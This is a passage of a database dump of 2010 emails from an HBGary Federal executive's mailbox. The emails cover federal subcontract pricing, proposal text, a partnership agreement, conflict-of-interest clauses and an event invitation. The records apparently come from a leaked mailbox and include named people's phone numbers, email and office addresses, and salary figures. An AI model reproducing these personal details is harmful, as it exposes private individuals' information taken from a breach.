(3).doc&gt;&lt;datasheet_DDNA.pdf&gt;&lt;datasheet_Responder pro.pdf&gt;&lt;EA_REcon_FINALDRAFT.pdf&gt;&lt;HBG Malware Report_FINAL_FINAL.pdf&gt;&nbsp;',12683,'aaron_hbgary_com/12683.html'),(6642,'2010-05-24','\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>','/aaron@hbgary.com/new/1297004791.M197288P14101Q1497.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','HBGary Federal Pricing Template','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\nAaron/Ted,\r\n\r\n&nbsp;\r\n\r\nUpon review, the rate cannot exceed $125 and this is the result\r\nof us moving you into the highest LCAT proposed in the class you will be\r\nsupporting.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nKimberly Hoagland\r\n\r\nSr.\r\nSpecialist-Subcontracts&nbsp;\r\n\r\nGeneral\r\nDynamics Advanced Information Systems, Inc. \r\n\r\n&nbsp;\r\n\r\nMailing\r\nAddress:\r\n\r\n&nbsp;10925\r\nPump House Road\r\n\r\n&nbsp;Annapolis\r\nJunction, MD 20701\r\n\r\nPhysical\r\nAddress:\r\n\r\n&nbsp;2721\r\nTechnology Drive\r\n\r\n&nbsp;Annapolis\r\nJunction, MD&nbsp; 20701\r\n\r\n&nbsp;\r\n\r\n(240)\r\n294-2275 (v)\r\n\r\n(240)\r\n294-2181 (f)\r\n\r\nkimberly.hoagland@gd-ais.com\r\n\r\n&nbsp;\r\n\r\nP please consider the environment before printing this email\r\n\r\nThis e-mail message is for the sole use of the intended recipient\r\nand may contain confidential and privileged information. Any unauthorized\r\nreview, use, disclosure, or distribution is prohibited. If you are not an\r\nintended recipient, please contact the sender by reply e-mail and destroy all\r\ncopies of the original message.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4719,'aaron_hbgary_com/4719.html'),(6643,'2010-05-24','\"Warden, Kathy J (IS)\" <Kathy.Warden@ngc.com>','/aaron@hbgary.com/new/1297004791.M549124P14101Q1498.eml','aaron@hbgary.com','Re: Cyber Talent','\r\n\r\n\r\n\r\n\r\nRe: Cyber Talent\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nThanks for the resume. I am sure I will catch up with you at one of the upcoming events.\r\n\r\nKathy\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Warden, Kathy J (IS); Yu, Jeffrey C (IS)\r\nSent: Mon May 24 09:03:48 2010\r\nSubject: Cyber Talent\r\n\r\nHi Kathy/Jeff,\r\n\r\nI hope all is well.&nbsp; Kathy, if you are attending any of the ExecutiveBiz functions next month I look forward to catching up.&nbsp; Jeff, I would like to catch up some time when your in town.\r\n\r\nAttached is the resume for David Etue.&nbsp; I have come to know him over the last six months as his company, Fidelis, partners with HBGary to deliver better host and perimeter security solutions.\r\n\r\nAfter working for a number of years helping Fidelis build a successful company and product line, he is ready for a change.&nbsp; He would like to work for one of the larger integrators for the experience and exposure they can offer.&nbsp; He is very talented, driven, and knowledgeable.&nbsp; I highly recommend him for either of your organizations.\r\n\r\n\r\n\r\n\r\n\r\n',5109,'aaron_hbgary_com/5109.html'),(6644,'2010-05-24','\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>','/aaron@hbgary.com/new/1297004791.M787492P14101Q1499.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: FBI ESOC Proposal - Exec Summary','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreat.&nbsp; Thanks.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, May 24, 2010 5:01 PM\r\nTo: Harlow, Douglas M.\r\nCc: Ted Vera\r\nSubject: Re: FBI ESOC Proposal - Exec Summary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSure.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHBGary and HBGary Federal deliver advanced threat detection\r\nand malware analysis products and services. &nbsp;HBGary develops automated\r\nzero day threat detection products based on behavioral analysis of exhibited\r\ntraits. &nbsp;In addition developing some of the most advanced yet easy to use\r\nmemory analysis and runtime tracing tools on the market, measurably lowering\r\nthe labor cost required to conduct effective malware analysis. &nbsp;HBGary\r\nFederal provides specialized threat intelligence, incident response, and\r\ninformation operations services utilizing HBGary and partner tools to better\r\nenable mission assurance.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHow is that?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn May 24, 2010, at 4:32 PM, Harlow, Douglas M. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron or Ted, \r\n\r\nCan I get a short paragraph\r\ndescribing HBGary&#8217;s capabilities for the proposal text.&nbsp; I only need 3-5\r\nsentences.\r\n\r\nThanks, \r\n\r\nDoug \r\n\r\nDoug Harlow\r\n\r\nGeneral Dynamics AIS\r\n\r\n10560 Arrowhead Dr\r\n\r\nFairfax, VA 22030\r\n\r\nOffice: 703-277-1406\r\n\r\nMobile: 703-835-7243\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9410,'aaron_hbgary_com/9410.html'),(6645,'2010-05-24','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297004796.M518100P14101Q1500.eml','\"Barr Aaron\" <aaron@hbgary.com>','Pics','\r\n\r\n',7519,'aaron_hbgary_com/7519.html'),(6646,'2010-05-24','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004796.M794091P14101Q1501.eml','\"Barr Aaron\" <aaron@hbgary.com>','ESOC','What do we owe Kim?\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',13339,'aaron_hbgary_com/13339.html'),(6647,'2010-05-25','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297004797.M291678P14101Q1503.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Fidelis follow up from today','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGo the agreements, and I think you should have a signed copy\r\nback.&nbsp; I&#8217;ve got almost all of the internal actions set, so you&#8217;ll see an e-mail\r\nhopefully tomorrow with all of the details!&nbsp; Trying to finalize who will lead\r\nthe training, and then we can get moving!\r\n\r\n&nbsp;\r\n\r\nMy schedule is pretty good to talk on the social media stuff.&nbsp; We\r\ncan chat on the phone, or if you want to do it in person, I can arrange that\r\ntoo.&nbsp; Let me know what you had in mind!\r\n\r\n&nbsp;\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, May 24, 2010 9:29 AM\r\nTo: Etue, David\r\nSubject: Re: Fidelis follow up from today\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGot distracted late last week. &nbsp;Getting to all of this\r\nright now so we can get going.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHBGary and Penny own the majority of HBGary Federal.\r\n&nbsp;But we can fill it out to be covered.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI would like to just BS for a bit sometime on SN. &nbsp;I\r\nthink they, along with the migration of platforms changes the security model\r\nquite a bit, and we haven\'t even got the last model down yet. &nbsp;I think I\r\ntold you I am giving a talk at the NSA REBL conference in a few weeks on Social\r\nNetworks and their vulnerabilities to organizations, so such a conversation\r\ncould probably help my talk as well.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn May 19, 2010, at 11:00 PM, Etue, David wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;m\r\nrallying the troops internally to support making what I&#8217;ll call &#8220;Scout + leave\r\nbehind&#8221; happen.&nbsp; I should have a message with all of the details to you\r\ntomorrow.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIn\r\nthe interim, we should sort of if we need to get a partner agreement in place\r\nspecific to HB Gary Federal.&nbsp; If HB Gary, Inc doesn&#8217;t voting control and\r\nmajority ownership, we probably do.&nbsp; I&#8217;ve attached our NDA and partnership\r\nagreement, as well as the signed copy of the partner agreement with HB Gary,\r\nInc for your reference.&nbsp; (If you could change the agreement to reflect the\r\nlegal name for HB Gary Federal.&nbsp; I&#8217;m recalling HB Gary Federal, LLC, but\r\nnot positive&#8230;)&nbsp; Once we have this, it&#8217;s easy to get you the VMs.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAs\r\nI mentioned, here is a blog post that is going out tomorrow on the social\r\nnetworking stuff -http://www.fidelissecurity.com/node/193,\r\nand I also attached the white paper.&nbsp; It briefly touches on the\r\ninteresting conversation we were having when I had to run to catch my 3 PM\r\nmeeting.&nbsp; There should be a eBizQ podcast and FCW op-ed piece up this week\r\ntoo.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFinally,\r\nthis is the follow up articles to the cyber lecture I attended last week.&nbsp;\r\nNothing mind blowing to some in the field, but still some interesting thoughts\r\nin it.&nbsp;&nbsp;http://theintersection.ogilvypr.com/2010/05/highlights-from-james-miller-speech-on-us-cybersecurity/\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n&lt;04071000.pdf&gt;&lt;Fidelis\r\nSecurity Systems - How Government Agencies Can Leverage the Power of Social\r\nNetworking While Mitigating Risk.pdf&gt;&lt;Fidelis Security Systems Mutual\r\nNon-Disclosure Agreement.pdf&gt;\r\n\r\n\r\n\r\nFrom:&nbsp;&quot;Etue,\r\nDavid&quot; &lt;david.etue@fidelissecurity.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:&nbsp;March 17, 2010\r\n9:20:54 PM EDT\r\n\r\n\r\n\r\n\r\n\r\nTo:&nbsp;&quot;Penny\r\nLeavy-Hoglund&quot; &lt;penny@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nCc:&nbsp;&quot;Bertone,\r\nKurt&quot; &lt;kurt.bertone@fidelissecurity.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:&nbsp;Fidelis TAP\r\nAgreement Rev 012010 - HB Gary\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPenny,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBased\r\non our conversations, I created a draft of our partner program agreement.&nbsp;\r\nIt is written without cost, based on exchange of our products for testing and\r\nyou using our VM-based appliances (instead of hardware appliances that have\r\ndirect materials costs.)&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPlease\r\nlet me know your thoughts.&nbsp; I&#8217;ve cc&#8217;d Kurt Bertone who leads our Strategic\r\nAlliances program who can help with any feedback on the program or agreement.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks!\r\n\r\n\r\n\r\n\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        \r\n        Fidelis Security Systems\r\n        \r\n        \r\n        \r\n       \r\n      \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        \r\n        David\r\n        Etue, CIPP/G\r\n        VP, Products and Markets\r\n        \r\n        \r\n        \r\n        4416\r\n        East West Highway, Suite 310\r\n        Bethesda, MD 20814\r\n        \r\n       \r\n       \r\n        \r\n        \r\n        david.etue@fidelissecurity.com\r\n        http://www.fidelissecurity.com\r\n        \r\n        \r\n        \r\n        \r\n         \r\n          \r\n          tel:&nbsp;\r\n          fax:&nbsp;\r\n          mobile:\r\n          \r\n          \r\n          (240) 396-2445&nbsp;&lt;image001.gif&gt;\r\n          (301) 652-7097\r\n          (202) 669-3628&nbsp;&lt;image001.gif&gt;\r\n          \r\n         \r\n        \r\n        \r\n       \r\n      \r\n      \r\n     \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n   \r\n    \r\n    \r\n    Always have my latest info\r\n    \r\n    \r\n    \r\n    Want a signature like this?\r\n    \r\n   \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&lt;Fidelis TAP Agreement Rev 012010 - HB\r\nGary.doc&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1660,'aaron_hbgary_com/1660.html'),(6648,'2010-05-25','\"AFCEA NOVA Events\" <events@afceanova.org>','/aaron@hbgary.com/new/1297004797.M8583P14101Q1502.eml','aaron@hbgary.com','USAF CIO Lord, Intel DCIO Gardner, & Deloitte Specialist DeMesme keynote Jun 3 Young AFCEANS Mentor Protege Night','\r\n\r\nAFCEA NOVA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n   \r\n    \r\n     \r\n        Follow \r\n          AFCEA NOVA on\r\n         \r\n           \r\n          \r\n          \r\n    \r\n  \r\n   \r\n    \r\n         \r\n          Home\r\n          About \r\n            AFCEA NOVA\r\n          Membership\r\n           Events\r\n          Contact \r\n            Us\r\n          AFCEA \r\n            Int\'l\r\n        \r\n      \r\n  \r\n   \r\n    &nbsp;\r\n  \r\n   \r\n    &nbsp;\r\n  \r\n\r\n\r\n   \r\n    \r\n     Jun \r\n        3 (Thu), 2010 -- Young AFCEANS Mentor-Protege Night\r\n        \r\n        Career Progression:\r\n        Overcoming Challenges to Grow Your Career\r\n      Register \r\n        to Attend or Sponsor a Table\r\n        (as always, Gratis to Gov/Mil employees; all individual attendees must \r\n        be under 40 please)\r\n      Please \r\n        join the Northern Virginia Chapter of Young AFCEA as we hold our 2nd Mentor \r\n        Prot&eacute;g&eacute; night of the 2009-2010 Season. Mentor \r\n        Prot&eacute;g&eacute; Night is focused on helping to develop the future \r\n        leaders of both industry and government. The event brings together emerging \r\n        leaders and seasoned professionals to connect, share ideas, and generate \r\n        the next level of leaders in the federal IT industry.\r\n      Attendees \r\n        will enjoy a personal, family-style dinner and cocktails, and have the \r\n        opportunity to engage directly with senior leaders from both government, \r\n        military, and industry. Learn more about the challenges and obstacles \r\n        our mentors overcame in reaching their positions today and how they achieved \r\n        it.\r\n      Members of \r\n        government, military, and industry under 40 are welcome to attend. Attendees \r\n        need not be AFCEA members but we ask that everyone attending is under \r\n        40.\r\n       Speakers:\r\n      Lt. \r\n        Gen. William T. Lord (bio)\r\n        Chief of Warfighting Integration &amp; CIO (SAF/XC)\r\n        Office of the Secretary of the Air Force\r\n        U.S. Air Force\r\n      Greg \r\n        Gardner  \r\n        (bio) \r\n        \r\n        Deputy CIO for the Intellicence Community (IC)\r\n        Office of the Director of National Intelligence\r\n      Ruby \r\n        Butler DeMesme \r\n        (bio) \r\n        \r\n        Specialist Leader\r\n        Deloitte Consulting LLP\r\n        \r\n      Register \r\n        to Attend or Sponsor a Table\r\n        (as always, Gratis to Gov/Mil employees; all individual attendees must \r\n        be under 40 please)\r\n      SPONSORSHIP \r\n        &amp; BENEFITS\r\n        Corporate Table Sponsor -- $300\r\n      \r\n        Logo \r\n          on event website &amp; emails\r\n        Logo \r\n          on event website\r\n        Recognition \r\n          from podium during the event\r\n        1 \r\n          designated mentor or protege registration\r\n        Sign-up \r\n          to Sponsor a Table at the MP Dinner\r\n      \r\n       DETAILS\r\n      WHEN:\r\n        Thursday, \r\n        June 3, 2010\r\n        6:00pm - 9:00pm - Networking, Program &amp; Dinner\r\n      \r\n        WHERE:\r\n        Maggiano\'s at Tysons Corner\r\n        2nd floor\r\n        2001 International Dr.\r\n        McLean, VA 22102\r\n        www.maggianos.com\r\n      \r\n        COST:\r\n      \r\n        Industry \r\n          Young AFCEANS Pre-Registered (40 &amp; under) -- $40\r\n        Gov/Mil \r\n          Young AFCEANS Pre-Registered (40 &amp; under) -- 0-- Gratis (but we \r\n          need you to pre-register to attend)\r\n        Older \r\n          AFCEANS (41 &amp; up) -- unfortunately not available for this event, \r\n          as it is restricted to Young AFCEANS and invited mentors\r\n        No onsite \r\n          registration is available for this event\r\n      \r\n      \r\n        DRESS:\r\n      \r\n        Civilans \r\n          - Business Attire\r\n        Military \r\n          - Uniform of the Day\r\n      \r\n      \r\n        Register \r\n        to Attend or Sponsor a Table\r\n        (as always, Gratis to Gov/Mil employees; all individual attendees must \r\n        be under 40 please)\r\n      \r\n    \r\n    \r\n    \r\n       \r\n         \r\n      \r\n         \r\n          \r\n               \r\n                AFCEA \r\n                    NOVA UpComing Events\r\n                  \r\n              \r\n            \r\n        \r\n         \r\n          \r\n               \r\n                \r\n                    \r\n                    Young AFCEANS Mentor-Protege Night - &quot;Career Progression&quot;\r\n                  Maggiano\'s\r\n                    Tysons Corner,\r\n                    Jun 3 (Thu), 2010\r\n                    \r\n                    \r\n              \r\n               \r\n                \r\n                    \r\n                    Small Business Breakfast - DISA GIG Enterprise Services (GES)\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Jun 8 (Tue), 2010\r\n                    \r\n                    \r\n              \r\n               \r\n                \r\n                    \r\n                    June Monthly Lunch w/ John Garing, Dir, Strategic Planning \r\n                    &amp; Information, DISA\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Jun 11 (Fri), 2010\r\n                    \r\n                    \r\n              \r\n               \r\n                \r\n                    \r\n                    Mil/Gov Career Transition Seminar &amp; Dinner\r\n                  Doubtree \r\n                    Crystal City,\r\n                    Jun 14 (Mon), 2010\r\n                    \r\n                    \r\n              \r\n               \r\n                 \r\n                    \r\n                      \r\n                      2nd \r\n                      Annual Warfighter Support Agencies IT Day\r\n                      (formerly Combat Support IT Day)\r\n                    Sheraton \r\n                      Premiere Tysons Corner,\r\n                      Jul 15 (Thu), 2010\r\n                      \r\n                      \r\n                  \r\n              \r\n              \r\n                All \r\n                    Upcoming events...\r\n              \r\n            \r\n        \r\n       \r\n      \r\n    \r\n    \r\n  \r\n   \r\n    \r\n  \r\n\r\n\r\n   \r\n    \r\n  \r\n   \r\n    Armed \r\n      Forces Communications &amp; Electronics Association, Northern Virginia Chapter\r\n      U.S. Mail: AFCEA NOVA, 428 Hume Ave., 2nd floor, Alexandria, VA 22301\r\n      email: events@afceanova.org | voice: 703-549-6911 | fax: 703-995-4890\r\n  \r\n\r\n \r\n  Management Consulting and Events Planning by : CAPLEAD \r\n  | info@caplead.com\r\n   \r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n',2668,'aaron_hbgary_com/2668.html'),(6649,'2010-05-25','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004799.M355274P14101Q1504.eml','\"Barr Aaron\" <aaron@hbgary.com>','Updated Proposal','I updated to 1869 hrs per year and reduced cost to just under\r\n$125/hour.  To achieve this we will need to stay within $106,900 for\r\nsalary.\r\n\r\nAttached is the updated pdf and cost template.\r\n\r\nHBGary Federal LLC:\r\nDUNS:  832950831\r\nCage:  5U1U6\r\n\r\nTed\r\n',15004,'aaron_hbgary_com/15004.html'),(6650,'2010-05-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004799.M617537P14101Q1505.eml','\"Ted Vera\" <tedvera@me.com>','OCI','5.6\r\nORGANIZATIONAL CONFLICTS OF INTERESTS -GENERAL (a)\r\nThe Contractor warrants that, to the best of his/her knowledge and belief, and\r\nexcept as otherwise set forth in this contract, he does not have any\r\norganizational conflict of interest as defined in paragraph (b) below. (b)\r\nThe term \"organizational conflict of interest\" means a situation\r\nwhere a Contractor has an interest, either due to its other activities or its\r\nrelationship with other organizations, which place it in a position that may be\r\nunsatisfactory or unfavorable (1) from the Government\'s standpoint in being\r\nable to secure impartial, technically sound, objective assistance and advice\r\nfrom the Contractor, or in securing the advantages of adequate competition in\r\nits procurement; or (2) from industry\'s standpoint in that unfair competitive\r\nadvantages may accrue to the Contractor in question. (c)\r\nThe Contractor agrees that, if after award he discovers an organizational\r\nconflict of interest with respect to this contract, he shall make an immediate\r\nand full disclosure in writing to the CO which shall include a description of\r\nthe action which the Contractor has taken or proposes to take to avoid,\r\neliminate or neutralize the conflict. The Government may terminate the contract\r\nfor the convenience of the Government. (d) In the event that the\r\nContractor was aware of an organization conflict of interest prior to the award\r\nof this contract and intentionally did not disclose the conflict to the CO, the\r\nGovernment may terminate the contract at no cost to the Government. &nbsp;&nbsp;Section (D) Organizational Conflict of\r\nInterest Proposal (no page limit) The\r\nOrganizational Conflict of Interest (OCI) Factor evaluates the Contractor\'s\r\nproposed plan for mitigating any and all real or perceived organizational\r\nconflicts of interest. The evaluation criteria are met when the Contractor\'s OCI\r\nPlan describes an acceptable approach to identifying, avoiding and mitigating\r\norganizational conflicts of interest. Since ensuring trust is of paramount\r\nimportance, only companies with acceptable Organizational Conflict of\r\nInterest (OCl) Mitigation Plans (for themselves and proposed subcontractors)\r\nwill be eligible for award. Every Contractor or sub-Contractor\r\nwho submits an offer as a Prime Contractor or a member of a Contractor teaming\r\narrangement shall review and comply with FAR Subpart 9.5. Each of the items\r\nlisted below shall be specifically addressed corresponding to the unique\r\nnumeric designation.1.&nbsp;&nbsp;&nbsp;&nbsp;\r\nOrganization\r\ncharts showing the company\'s corporate structure and highlight elements of the\r\ncompany participating in the contract. 2.&nbsp;&nbsp;&nbsp;&nbsp; Demonstrate how the elements performing the proposed\r\neffort will be isolated from the remainder of the company. 3.&nbsp;&nbsp;&nbsp;&nbsp; Describe how information, whether in hard copy or\r\nelectronic media, will be stored and destroyed in order to preclude a transfer\r\nof information. 4.&nbsp;&nbsp;&nbsp;&nbsp; Describe how networks and servers will be protected to\r\nprevent unauthorized transfer of information. 5.&nbsp;&nbsp;&nbsp;&nbsp; Describe management reporting chains in sufficient\r\ndetail to demonstrate that the proposed effort and decisions related to the\r\neffort will be isolated from the remainder of the company. 6.&nbsp;&nbsp;&nbsp;&nbsp; Address how your company will preclude a perception of\r\nimpaired objectivity by prohibiting transfers of personnel between contracts. 7.&nbsp;&nbsp;&nbsp;&nbsp; Provide information to indicate if the organizational\r\nelements performing the proposed effort will be geographically or physically\r\nseparated from the remainder of the company. 8.&nbsp;&nbsp;&nbsp;&nbsp; Describe techniques your company will employ to\r\nmitigate the perception that you will favor your own products or services. 9.&nbsp;&nbsp;&nbsp;&nbsp; Describe the process in which the government will have\r\ninsight or oversight of key processes. 10.&nbsp; Describe any situation in which management outside the\r\nmitigated organization will have access to key decisions for which the\r\nmitigated organization is responsible. 11.&nbsp; Provide all documents that your employees are required\r\nto sign indicating, which employees are required and how often the requirement\r\nis. 12.&nbsp; Describe the process for reassigning personnel,\r\nincluding subcontractors, from one assignment to another, include restrictions.\r\n13.&nbsp; Describe the process for employees that leave your\r\nemployment and any control you exercise over their future employment,\r\nparticularly as it relates to OCI and non-disclosure. 14.&nbsp; Describe any OCI training your employees are offered\r\nand or mandated, along with the timing (before or after starting work on a\r\ngovernment contract) frequency, length and content of such training. 15.&nbsp; Describe if your company conducts self-audits and if\r\nthey will be made available to the government. 16.&nbsp; Describe the proposed process and timeline for\r\nsubmitting, and obtaining the approval by the CO, of the OCI Mitigation Plans\r\nfor any and all subcontractors added to the contract post award that were not\r\nincluded in the OCI Mitigation Plans submitted as part of the Contractor\'s\r\nproposal. Each proposal shall specifically address the\r\nfollowing: A. Disclosure of business activities of the Prime\r\nContractor, its affiliates, its team members and affiliates of its team members\r\n,which create either a conflict of interest or the appearance of a conflict of\r\ninterest.B. Provide evidence of facts and\r\ncircumstances that may mitigate or address concerns related to the appearance\r\nand/or presence of an OCI. C. Explain the\r\nproposed approach to mitigating the effects of any apparent or actual conflicts\r\nof interest arising out of the business activities disclosed in response to\r\n\"A\" above. The Government will treat all\r\nsubmissions as proprietary under 18 U.S.C. \'1905 and protect proposed\r\ninformation accordingly. \r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6227,'aaron_hbgary_com/6227.html'),(6651,'2010-05-25','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004804.M956027P14101Q1506.eml','\"Barr Aaron\" <aaron@hbgary.com>','Updated Doc','Attached -- with OCI Statement.\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',6730,'aaron_hbgary_com/6730.html'),(6652,'2010-05-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004805.M195061P14101Q1507.eml','\"Ted Vera\" <tedvera@me.com>','','10.&nbsp;\r\nThe following information is required and the offeror certifies to its\r\naccuracy if any resultant Subcontract to be awarded will be under a U.S.\r\nGovernment prime contract at any tier:&nbsp;a.&nbsp;&nbsp;&nbsp;&nbsp;\r\nBidder’s Cognizant U.S. Government Audit\r\nAgency:__________________________&nbsp;b.&nbsp;&nbsp;&nbsp;&nbsp;\r\nComplete Audit Agency Address: ______________________________________________________________________________Point of\r\nContact:_____________________Telephone\r\nNumber:__________________Email:_____________________________&nbsp;c.&nbsp;&nbsp;&nbsp;&nbsp;\r\nOfferor’s Fiscal Year End Date in month/day format:__________&nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',16567,'aaron_hbgary_com/16567.html'),(6653,'2010-05-25','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297004805.M484245P14101Q1508.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re:','On May 24, 2010, at 9:43 PM, Aaron Barr wrote:10.&nbsp;\r\nThe following information is required and the offeror certifies to its\r\naccuracy if any resultant Subcontract to be awarded will be under a U.S.\r\nGovernment prime contract at any tier:&nbsp;a.&nbsp;&nbsp;&nbsp;&nbsp;\r\nBidder’s Cognizant U.S. Government Audit\r\nAgency:______DCAA____________________&nbsp;b.&nbsp;&nbsp;&nbsp;&nbsp;\r\nComplete Audit Agency Address: DCAA\r\n\r\n391 South Lexington Dr.Folsom, CA 95630\r\n\r\nPoint of\r\nContact:_______TBD______________Telephone\r\nNumber:___831-238-2274_______________Email:______________TBD_______________&nbsp;c.&nbsp;&nbsp;&nbsp;&nbsp;\r\nOfferor’s Fiscal Year End Date in month/day format:___12/31_______&nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9181,'aaron_hbgary_com/9181.html'),(6654,'2010-05-25','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004805.M710582P14101Q1509.eml','\"Barr Aaron\" <aaron@hbgary.com>','Conf table','http://cosprings.craigslist.org/fuo/1751876711.html\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',7321,'aaron_hbgary_com/7321.html'),(6655,'2010-05-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004806.M967797P14101Q1510.eml','\"Ted Vera\" <tedvera@me.com>','Rep&Cert','\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',4363,'aaron_hbgary_com/4363.html'),(6656,'2010-05-25','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004807.M340609P14101Q1511.eml','\"Barr Aaron\" <aaron@hbgary.com>','Efax','e-fax 